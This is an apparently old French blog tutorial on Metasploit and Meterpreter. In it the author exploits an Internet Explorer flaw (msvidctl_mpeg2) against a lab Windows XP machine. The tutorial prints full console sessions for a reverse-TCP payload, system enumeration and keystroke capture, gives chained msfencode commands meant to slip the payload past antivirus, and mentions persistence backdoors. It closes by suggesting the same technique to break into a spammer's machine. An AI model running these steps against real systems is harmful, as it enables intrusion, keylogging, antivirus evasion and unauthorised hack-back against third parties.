Bijour à vous …
Aujourd’hui, un petit article pour introduire (ou pas) metasploit (un framework pour tester la vulnérabilité des machines sur son réseau ou ailleurs ^^) et meterpreter (qui permet l’utilisation de script pour automatiser certain truc), suite à la lecture d’un sympatique article, qui montrait comment se connecter à une machine windows via l’utilisation de deux payloads, la première pour executer la deuxième en différé et ainsi sortir du logiciel planté (la faille exploitée faisant planter IE7, on perdait donc la connexion à la machine), je ne vais pas vous faire un copier/coller de l’article en question, mais seulement montrer quelques commandes et outils sympa pour utiliser la suite metasploit.
Donc voilà, sous linux, il suffit :
- D’installer ruby : apt-get install ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygem
- De checkout ce dépot svn : http://metasploit.com/svn/framework3/trunk/
Voilà, nous somme prêts à : conquérir le monde / devenir un lamerz / mettre une dérouillé à ses pôtes à la prochaine lan party rayez les mentions inutiles.
Il vous faut bien entendu plusieurs machines sur votre réseau local, ou une machine virtuelle qui sera la cible (chez moi une machine windows répondant au doux nom de 192.168.0.18) et mon foudre de guerre (un Amstrad 6128 …) répondant au doux nom de 192.168.0.15.
Une utilisation plutôt générique de la bestiole ce fait ainsi :
kikoo@WillOwnDaWorld:~/Documents/SVN/Metasploit3$ sudo ./msfconsole
-
[sudo] password for kikoo:
-
-
_ _
-
_ | | (_)_
-
____ ____| |_ ____ ___ ____ | | ___ _| |_
-
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
-
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
-
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
-
|_|
-
-
=[ msf v3.3-dev
-
+ — –=[ 324 exploits – 221 payloads
-
+ — –=[ 20 encoders – 6 nops
-
=[ 103 aux
-
-
msf > <strong>use exploit/windows/browser/msvidctl_mpeg2</strong>
Ici on charge l’exploit msvidtcl_mpeg2 (qui n’est pas encore corrigé par Miss Crosoft)
-
msf exploit(msvidctl_mpeg2) > <strong>set PAYLOAD windows/meterpreter/reverse_tcp</strong>
Ici on choisit la charge, pour ma part : un bon vieux BFG / 50mm pour Gatlin / une connexion tcp inverse (rayez les mentions inutiles
) qui permet de contourner les firewalls/routeurs basique
-
PAYLOAD => <strong>windows/meterpreter/reverse_tcp</strong>
-
msf exploit(msvidctl_mpeg2) > <strong>show options</strong>
On mat les options, que l’on peut modifier via les set plus bas
Module options:
-
-
Name Current Setting Required Description
-
—- ————— ——– ———–
-
SRVHOST 0.0.0.0 yes The local host to listen on.
-
SRVPORT 8080 yes The local port to listen on.
-
SSL false no Use SSL
-
URIPATH no The URI to use for this exploit (default is random)
-
-
Payload options (windows/meterpreter/reverse_tcp):
-
-
Name Current Setting Required Description
-
—- ————— ——– ———–
-
EXITFUNC process yes Exit technique: seh, thread, process
-
LHOST yes The local address
-
LPORT 4444 yes The local port
-
-
Exploit target:
-
-
Id Name
-
– —-
-
0 Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0
-
-
msf exploit(msvidctl_mpeg2) > <strong>set SRVHOST 192.168.0.15</strong>
-
SRVHOST => 192.168.0.15
-
msf exploit(msvidctl_mpeg2) > <strong>set SRVPORT 80</strong>
-
SRVPORT => 80
-
msf exploit(msvidctl_mpeg2) > <strong>set URIPATH kikoo</strong>
-
URIPATH => kikoo
-
msf exploit(msvidctl_mpeg2) > <strong>set LHOST 192.168.0.15</strong>
-
LHOST => 192.168.0.15
Maintenant que j’ai set mes ips et port, je peux donc lancer l’exploit …
msf exploit(msvidctl_mpeg2) > exploit
-
[*] Exploit running as background job.
-
msf exploit(msvidctl_mpeg2) >
-
[*] Handler binding to LHOST 0.0.0.0
-
[*] Started reverse handler
-
[*] Using URL: http://192.168.0.15:80/kikoo
-
[*] Server started.
A partir de maintenant, si une machine sous windows se connecte à notre serveur sur le port 80 (http) avec Internet Explorer, pas mal de chose bizzare vont ce produire ^^.
Ce qui va d’ailleurs ce produire :
[*] Sending HTML to 192.168.0.18:1100…
-
[*] Sending exploit to 192.168.0.18:1100…
-
[*] Sending GIF to 192.168.0.18:1100…
-
[*] Transmitting intermediate stager for over-sized stage…(216 bytes)
-
[*] Sending stage (718336 bytes)
-
[*] Meterpreter session 1 opened (192.168.0.15:4444 -> 192.168.0.18:1102)
Ici, metasploit nous indique, qu’une session a pu être ouverte sur la machine distante … je peux ouvrir la session en question en tapant la commande suivante :
msf exploit(msvidctl_mpeg2) > sessions -i 1
-
-
[*] Starting interaction with 1…
A partir de maintenant, je peux utiliser l’ensemble des scripts fournit par meterpreter (taper help pour de l’aide)
meterpreter > help
-
-
Core Commands
-
=============
-
-
Command Description
-
——- ———–
-
? Help menu
-
background Backgrounds the current session
-
channel Displays information about active channels
-
close Closes a channel
-
exit Terminate the meterpreter session
-
help Help menu
-
interact Interacts with a channel
-
irb Drop into irb scripting mode
-
migrate Migrate the server to another process
-
quit Terminate the meterpreter session
-
read Reads data from a channel
-
run Executes a meterpreter script
-
use Load a one or more meterpreter extensions
-
write Writes data to a channel
-
-
Stdapi: File system Commands
-
============================
-
-
Command Description
-
——- ———–
-
cat Read the contents of a file to the screen
-
cd Change directory
-
download Download a file or directory
-
edit Edit a file
-
getlwd Print local working directory
-
getwd Print working directory
-
lcd Change local working directory
-
lpwd Print local working directory
-
ls List files
-
mkdir Make directory
-
pwd Print working directory
-
rmdir Remove directory
-
upload Upload a file or directory
-
-
Stdapi: Networking Commands
-
===========================
-
-
Command Description
-
——- ———–
-
ipconfig Display interfaces
-
portfwd Forward a local port to a remote service
-
route View and modify the routing table
-
-
Stdapi: System Commands
-
=======================
-
-
Command Description
-
——- ———–
-
execute Execute a command
-
getpid Get the current process identifier
-
getuid Get the user that the server is running as
-
kill Terminate a process
-
ps List running processes
-
reboot Reboots the remote computer
-
reg Modify and interact with the remote registry
-
rev2self Calls RevertToSelf() on the remote machine
-
shutdown Shuts down the remote computer
-
sysinfo Gets information about the remote system, such as OS
-
-
Stdapi: User interface Commands
-
===============================
-
-
Command Description
-
——- ———–
-
enumdesktops List all accessible desktops and window stations
-
idletime Returns the number of seconds the remote user has been idle
-
keyscan_dump Dump they keystroke buffer
-
keyscan_start Start capturing keystrokes
-
keyscan_stop Stop capturing keystrokes
-
setdesktop Move to a different workstation and desktop
-
uictl Control some of the user interface components
Voilà l’ensemble des choses plutôt sympa que fournit l’outil, pour ma part, j’ai testé plusieurs trucs :
La récupération des informations sur la machine et ses interfaces IP, le genre de truc inintéressant … :
meterpreter > ipconfig
-
-
MS TCP Loopback interface
-
Hardware MAC: 00:00:00:00:00:00
-
IP Address : 127.0.0.1
-
Netmask : 255.0.0.0
-
-
Carte AMD PCNET Family Ethernet PCI – Miniport d'ordonnancement de paquets
-
Hardware MAC: 08:00:27:ac:2e:b6
-
IP Address : 192.168.0.18
-
Netmask : 255.255.255.0
-
meterpreter > <strong>sysinfo</strong>
-
Computer: ORDINATEUR
-
OS : Windows XP (Build 2600, Service Pack 2).
-
Puis l’utilisation du sniffer … déjà plus intéressant :
meterpreter > keyscan_start
-
Starting the keystroke sniffer…
-
meterpreter > <strong>keyscan_dump</strong>
Pour afficher ce qui a été tapé au clavier (ici n’importe quoi)
Dumping captured keystrokes…
-
dgdf ki C/ Progr 8Sys Com 8
Sinon, d’autre commande sont sympa comme :
upload « nom du fichier » qui permet d’uploader des fichiers sur la machines cible
download « nom du fichier » qui permet de télécharger des fichiers depuis la machine cible
kill, reboot, reg (ça se devine). Et aussi l’utilisation de run avec le scheduleme (dans le premier lien) qui est super intéressant dans le cadre de l’utilisation de la faille exploité par cette article, et d’autre aussi, pour garder un backdoor de secours en cas de fermeture/redémarrage du soft planté par l’exploit.
Mais voilà … vous avez suivi ces quelques commandes sur une machine windows avec un antivirus plus ou moins à jour et il râle pas mal (si il ne râle pas … c’est que y’a un problème ^^).
C’est naze et inutile ton truc 2G … et non, les développeurs l’avait prévu, pour créer des payloads qui passent les antivirus, il suffit de blinder les charges.
Blinder les charges avec l’outil msfencoder et msfpayload :
-
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.15 LPORT=4444 |./msfencode -t exe -o rmeter.exe
Pour le moment, cette commande ne fait qu’un executable à partir de la payload reverse_tcp du meterpreter avec qui se connectera sur 192.168.0.15 sur le port 4444, pour le moment, l’antivirus continuera de raler … mais ce qu’il y a de bien, c’est que l’on peut piper les msfencode en raw. (oh la brute :p)
ce qui peut donner ce genre de truc :
kikoo@WillOwnDaWorld:~/Documents/SVN/Metasploit3$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.15 LPORT=4444 | ./msfencode -e x86/shikata_ga_nai -t raw | ./msfencode -e x86/fnstenv_mov -t raw | ./msfencode -t exe -o rmeter.exe
-
[*] x86/alpha_mixed succeeded with size 62 (iteration=1)
-
[*] x86/shikata_ga_nai succeeded with size 89 (iteration=1)
-
[*] x86/fnstenv_mov succeeded with size 114 (iteration=1)
-
[*] x86/shikata_ga_nai succeeded with size 141 (iteration=1)
Qui permettra d’encoder notre payload dans quelques trucs différent, ici, d’abord en texte pour passer les IDS qui chercherait des NOPs, ensuite du shikata pour rire, du fnstenv pour rajouter de la complexité, et de nouveau un coup de shikata parce qu’il le vaut bien.
Bien sûr, si vous êtes inspiré, vous pouvez toujours chercher d’autre truc dans le dossier « modules/encoders/x86/ » du dossier de metasploit pour trouver d’autre encoder et les chainer.
La question est maintenant … pourquoi un tel logiciel existe ??
Il y a plusieurs raisons … (la domination du monde par les scriptkiddies et kikoolol n’en faisant pas partie :s).
Permettre à des administrateurs de tester la vulnérabilité des machines/softs qui trainent sur leurs réseaux, et ce plutôt facilement, le framework n’étant pas dédié à être « stealth » vis-a-vis des antivirus, l’utilisation du logiciel pour le piratage d’un pc « hors de controle » (appartenant à quelqu’un de non consentant ^^) est plutôt limité (à part si l’on développe son propre encodage de payload et là …)
Pour ma part, une idée d’utilisation relèverait plus du honeypot, dans le cas de figure de l’un de mes articles précédent, lorsqu’un spammeur prend le contrôle d’un serveur et y pose des scripts dans le but d’automatiser son « boulot », il accède à des urls directement, sans trop faire gaffe (ce qui était le cas dans l’attaque en question). On pourrait donc remplacer son script par une backdoor (en utilisant un exploit correspondant au faible informations chopées dans les logs) et récupérer un accès sur sa machine (ou tout du moins l’avertir qu’il n’est plus le bienvenue sur notre serveur via son antivirus qui ralerait suite au chargement de la payload, quoique dans le cas du msvidctl_mpeg2 le chargement de l’activX en ferait tilter plus d’un
).